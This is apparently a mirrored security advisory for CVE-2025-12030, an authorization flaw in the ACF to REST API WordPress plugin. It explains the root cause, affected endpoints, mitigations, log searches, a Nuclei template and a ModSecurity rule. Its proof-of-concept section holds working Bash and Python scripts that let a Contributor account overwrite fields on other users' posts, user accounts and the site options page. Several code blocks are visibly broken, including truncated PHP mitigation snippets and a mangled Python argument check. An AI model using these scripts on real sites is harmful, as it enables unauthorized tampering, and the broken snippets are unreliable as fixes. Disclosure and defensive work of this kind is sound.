Share
## https://sploitus.com/exploit?id=0AB4A31E-918F-58A2-B0C2-1E14BAF908BF
# CVE-2025-12030: Insecure Direct Object Reference in ACF to REST API WordPress Plugin

[![CVE](https://img.shields.io/badge/CVE-2025--12030-red)](https://vulners.com/cve/CVE-2025-12030)
[![CVSS Score](https://img.shields.io/badge/CVSS-4.3%20Medium-orange)](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
[![WordPress Plugin](https://img.shields.io/badge/WordPress-Plugin-blue)](https://wordpress.org/plugins/acf-to-rest-api/)
[![CWE-639](https://img.shields.io/badge/CWE-639-critical)](https://cwe.mitre.org/data/definitions/639.html)
[![Wordfence](https://img.shields.io/badge/Disclosed-Wordfence-success)](https://www.wordfence.com/)

> **Keywords:** CVE-2025-12030, ACF to REST API vulnerability, IDOR, WordPress security, authenticated exploit, WordPress plugin vulnerability, CWE-639, ACF field modification, authorization bypass, WordPress CVE 2025, Advanced Custom Fields, REST API security

## Table of Contents

- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [Technical Analysis](#technical-details)
- [Attack Vector](#attack-vector)
- [Proof of Concept](#proof-of-concept)
- [Remediation Guide](#remediation)
- [Detection](#detection)
- [CVSS Metrics](#cvss-v31-metrics)
- [References](#references)
- [Credits](#credits)
- [Security Contact](#contact)

## Overview

**ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030)** - Security flaw allowing authenticated users with Contributor-level access to modify ACF fields on objects they do not own.

An Insecure Direct Object Reference (IDOR) vulnerability was discovered in the ACF to REST API WordPress Plugin that allows authenticated attackers with minimal privileges to modify ACF fields across the entire WordPress installation.

**Discovered by:** Kai Aizen (SnailSploit)  
**Published:** January 6, 2026  
**CVSS Score:** 4.3 (Medium)  
**CWE:** CWE-639 - Authorization Bypass Through User-Controlled Key  
**Plugin:** ACF to REST API  
**Plugin Slug:** acf-to-rest-api  
**Attack Type:** Insecure Direct Object Reference (IDOR)  
**Required Privileges:** Contributor+ (Authenticated Attack)

## Vulnerability Details

### Description

The ACF to REST API plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.3.4. This is due to insufficient capability checks in the `update_item_permissions_check()` method, which only verifies that the current user has the `edit_posts` capability without checking object-specific permissions (e.g., `edit_post($id)`, `edit_user($id)`, `manage_options`).

### Impact

This vulnerability allows authenticated attackers with Contributor-level access and above to:

- **Modify ACF fields on posts they do not own** - Bypass post ownership restrictions
- **Modify ACF fields on any user account** - Including administrator accounts
- **Modify ACF fields on comments** - Alter comment metadata
- **Modify ACF fields on taxonomy terms** - Change category/tag custom fields
- **Modify the global options page** - Access site-wide ACF options without `manage_options` capability

All modifications are possible via the `/wp-json/acf/v3/{type}/{id}` REST API endpoints.

### Affected Versions

- **Vulnerable:** All versions ≤ 3.3.4
- **Patched:** ⚠️ **No known patch available**

### CVSS v3.1 Metrics

```
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
```

| Metric | Value |
|--------|-------|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality | None (C:N) |
| Integrity | Low (I:L) |
| Availability | None (A:N) |

**CVSS v3.1 Breakdown:**

- **Attack Vector (AV):** Network - The vulnerability can be exploited remotely over a network
- **Attack Complexity (AC):** Low - No special conditions are required for exploitation
- **Privileges Required (PR):** Low - Requires Contributor-level authentication
- **User Interaction (UI):** None - The exploit works without any user interaction
- **Scope (S):** Unchanged - The vulnerability only affects the vulnerable component
- **Confidentiality Impact (C):** None - No information disclosure
- **Integrity Impact (I):** Low - Unauthorized modification of ACF fields
- **Availability Impact (A):** None - No availability impact

## Technical Details

### Vulnerability Root Cause

The vulnerability exists in the `update_item_permissions_check()` method which performs insufficient authorization:

```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
    // VULNERABLE: Only checks generic edit_posts capability
    if ( current_user_can( 'edit_posts' ) ) {
        return true;
    }
    return false;
}
```

The proper implementation should check object-specific permissions:

```php
// Secure implementation pattern
public function update_item_permissions_check( $request ) {
    $id = $request->get_param( 'id' );
    $type = $request->get_param( 'type' );
    
    switch ( $type ) {
        case 'post':
            return current_user_can( 'edit_post', $id );
        case 'user':
            return current_user_can( 'edit_user', $id );
        case 'option':
            return current_user_can( 'manage_options' );
        // ... other object types
    }
    return false;
}
```

### Vulnerable Endpoints

| Endpoint | Target | Required Capability (Should Be) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | Posts | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | Pages | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | Users | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | Comments | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Terms | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | Options | `manage_options` |

### Attack Vector

```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic 
Content-Type: application/json

{
    "fields": {
        "field_name": "malicious_value"
    }
}
```

The vulnerability can be exploited through the WordPress REST API by any authenticated user with at least Contributor role.

## Proof of Concept

⚠️ **For Educational and Authorized Testing Purposes Only**

### Bash PoC

```bash
#!/bin/bash
# CVE-2025-12030 PoC - ACF to REST API IDOR

TARGET_URL="$1"
USERNAME="$2"
APP_PASSWORD="$3"
TARGET_POST_ID="$4"

if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then
    echo "Usage: $0    "
    echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42"
    exit 1
fi

echo "[*] CVE-2025-12030 - ACF to REST API IDOR PoC"
echo "[*] Target: $TARGET_URL"
echo "[*] Target Post ID: $TARGET_POST_ID"
echo ""

# Encode credentials
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)

# Step 1: Read current ACF fields (verify access)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID" \
  -H "Authorization: Basic $AUTH" \
  | python3 -m json.tool

echo ""

# Step 2: Attempt to modify ACF fields on post we don't own
echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..."
RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID" \
  -H "Authorization: Basic $AUTH" \
  -H "Content-Type: application/json" \
  -d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')

echo "$RESPONSE" | python3 -m json.tool

echo ""
if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then
    echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!"
else
    echo "[+] Not vulnerable or modification failed"
fi
```

### Python PoC

```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""

import requests
import sys
import json
import base64

def exploit(target_url, username, app_password, target_id, target_type="posts"):
    """
    Exploit CVE-2025-12030 IDOR vulnerability
    
    Args:
        target_url: WordPress site URL
        username: Contributor-level username
        app_password: Application password
        target_id: ID of the object to modify (post, user, etc.)
        target_type: Type of object (posts, pages, users, options, etc.)
    """
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
    
    # Create Basic Auth header
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
    print(f"[*] Target: {target_url}")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] Object Type: {target_type}")
    print(f"[*] Object ID: {target_id}\n")
    
    # Step 1: Read current ACF fields
    print("[*] Step 1: Reading current ACF fields...")
    try:
        response = requests.get(api_endpoint, headers=headers, timeout=10)
        if response.status_code == 200:
            print(f"[+] Current ACF fields:")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Failed to read fields: {response.status_code}")
            print(response.text)
    except requests.RequestException as e:
        print(f"[-] Error reading fields: {e}")
        return
    
    print("")
    
    # Step 2: Attempt IDOR modification
    print("[*] Step 2: Attempting unauthorized modification...")
    
    payload = {
        "fields": {
            "idor_test": "CVE-2025-12030_IDOR_VERIFIED"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            result = response.json()
            print(f"[+] Response:")
            print(json.dumps(result, indent=2))
            
            if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
                print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
                print("[!] Contributor-level user was able to modify objects they don't own!")
            else:
                print("\n[+] Modification request accepted - verify manually")
        else:
            print(f"[-] Request failed with status: {response.status_code}")
            print(f"Response: {response.text}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

def test_options_page(target_url, username, app_password):
    """Test modification of global options page (requires manage_options normally)"""
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
    
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"\n[*] Testing Options Page IDOR...")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] NOTE: This normally requires manage_options capability!\n")
    
    payload = {
        "fields": {
            "site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            print(f"[!] CRITICAL: Contributor modified global options page!")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Options modification failed: {response.status_code}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv)     [type]")
        print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
        print(f"\nSupported types: posts, pages, users, comments, options")
        sys.exit(1)
    
    target_url = sys.argv[1]
    username = sys.argv[2]
    app_password = sys.argv[3]
    target_id = sys.argv[4]
    target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
    
    exploit(target_url, username, app_password, target_id, target_type)
    
    # Also test options page access
    if target_type != "options":
        test_options_page(target_url, username, app_password)
```

## Remediation

### For Site Administrators

**Immediate Action Required:**

⚠️ **No official patch is currently available for this vulnerability.**

1. **Consider uninstalling the plugin** if ACF REST API functionality is not critical
2. **Restrict user registrations** and review existing Contributor+ accounts
3. **Implement WAF rules** to block unauthorized REST API modifications
4. **Monitor REST API activity** for suspicious ACF field modifications
5. **Consider alternative plugins** with proper authorization controls

### Temporary Mitigations

#### Option 1: Disable REST API Endpoints via Code

Add to your theme's `functions.php` or a custom plugin:

```php
 403)
        );
    }
    return $permission;
}, 10, 3);
```

#### Option 2: Restrict via .htaccess

```apache
# Block ACF REST API modification endpoints for non-admins

    RewriteEngine On
    RewriteCond %{REQUEST_METHOD} ^(PUT|POST|PATCH)$
    RewriteCond %{REQUEST_URI} ^/wp-json/acf/v3/ [NC]
    RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_.*admin [NC]
    RewriteRule .* - [F,L]

```

#### Option 3: Nginx Configuration

```nginx
# Block ACF REST API modification requests
location ~* ^/wp-json/acf/v3/ {
    if ($request_method ~* "(PUT|POST|PATCH)") {
        # Implement proper authorization check or block entirely
        return 403;
    }
    try_files $uri $uri/ /index.php?$args;
}
```

### For Plugin Developers

If forking or patching the plugin, implement proper object-specific authorization:

```php
get_param( 'id' );
    $type = $this->get_object_type( $request );
    
    switch ( $type ) {
        case 'post':
        case 'page':
            // Check if user can edit THIS specific post
            if ( ! current_user_can( 'edit_post', $id ) ) {
                return new WP_Error(
                    'rest_cannot_edit',
                    __( 'Sorry, you are not allowed to edit this post.' ),
                    array( 'status' => rest_authorization_required_code() )
                );
            }
            break;
            
        case 'user':
            // Check if user can edit THIS specific user
            if ( ! current_user_can( 'edit_user', $id ) ) {
                return new WP_Error(
                    'rest_cannot_edit',
                    __( 'Sorry, you are not allowed to edit this user.' ),
                    array( 'status' => rest_authorization_required_code() )
                );
            }
            break;
            
        case 'option':
            // Options require manage_options capability
            if ( ! current_user_can( 'manage_options' ) ) {
                return new WP_Error(
                    'rest_cannot_edit',
                    __( 'Sorry, you are not allowed to manage options.' ),
                    array( 'status' => rest_authorization_required_code() )
                );
            }
            break;
            
        case 'term':
            $taxonomy = $request->get_param( 'taxonomy' );
            $tax_obj = get_taxonomy( $taxonomy );
            if ( ! current_user_can( $tax_obj->cap->edit_terms ) ) {
                return new WP_Error(
                    'rest_cannot_edit',
                    __( 'Sorry, you are not allowed to edit terms.' ),
                    array( 'status' => rest_authorization_required_code() )
                );
            }
            break;
            
        case 'comment':
            if ( ! current_user_can( 'edit_comment', $id ) ) {
                return new WP_Error(
                    'rest_cannot_edit',
                    __( 'Sorry, you are not allowed to edit this comment.' ),
                    array( 'status' => rest_authorization_required_code() )
                );
            }
            break;
            
        default:
            return new WP_Error(
                'rest_invalid_type',
                __( 'Invalid object type.' ),
                array( 'status' => 400 )
            );
    }
    
    return true;
}
```

## Detection

### Log Analysis

Search for suspicious REST API activity:

```bash
# Search access logs for ACF REST API modification attempts
grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/nginx/access.log
grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/apache2/access.log
```

### WordPress Plugin Check

```bash
# Check if vulnerable version is installed
wp plugin list | grep -i "acf-to-rest-api"

# Get plugin version
wp plugin get acf-to-rest-api --field=version
```

### Security Scanner Rules

**Nuclei Template:**

```yaml
id: CVE-2025-12030

info:
  name: ACF to REST API - IDOR ACF Field Modification
  author: SnailSploit
  severity: medium
  description: ACF to REST API plugin for WordPress is vulnerable to IDOR
  reference:
    - https://github.com/SnailSploit/CVE-2025-12030
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification
  tags: cve,cve2025,wordpress,wp-plugin,idor,authenticated

http:
  - raw:
      - |
        POST /wp-json/acf/v3/posts/1 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}
        Content-Type: application/json
        
        {"fields":{"nuclei_test":"CVE-2025-12030"}}
    
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "acf"
        condition: or
      
      - type: status
        status:
          - 200
```

### Web Application Firewall Rules

**ModSecurity Rule:**

```apache
# CVE-2025-12030 - Block unauthorized ACF REST API modifications
SecRule REQUEST_URI "@rx ^/wp-json/acf/v3/" \
    "id:2025012030,\
    phase:2,\
    t:none,t:urlDecodeUni,t:normalizePathWin,\
    chain,\
    deny,\
    status:403,\
    log,\
    msg:'CVE-2025-12030 - Potential ACF IDOR Exploit Attempt'"
    SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" "t:none"
```

## Timeline

- **January 6, 2026** - Vulnerability publicly disclosed
- **January 6, 2026** - CVE-2025-12030 assigned
- **Current** - ⚠️ No patch available

## References

- [Wordfence Intelligence - CVE-2025-12030](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification)
- [WordPress Plugin Trac - ACF to REST API](https://plugins.trac.wordpress.org/browser/acf-to-rest-api)
- [WordPress Plugin Directory](https://wordpress.org/plugins/acf-to-rest-api/)
- [CWE-639 - Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)
- [OWASP - Insecure Direct Object Reference](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References)

## Credits

**Researcher:**

- [**Kai Aizen**](https://linkedin.com/in/kaiaizen) - [SnailSploit](https://snailsploit.com)

**Disclosure Process:** Coordinated through Wordfence Bug Bounty Program

## Disclaimer

This information is provided for security research and defensive purposes only. Any exploitation of this vulnerability for malicious purposes is illegal and unethical. Always obtain proper authorization before testing systems you do not own.

## Contact

For questions or additional information about this vulnerability:

- **Email:** [kai@owasp.com](mailto:kai@owasp.com)
- **Website:** [snailsploit.com](https://snailsploit.com)
- **Organization:** SnailSploit Security Research

---

*Last updated: January 6, 2026*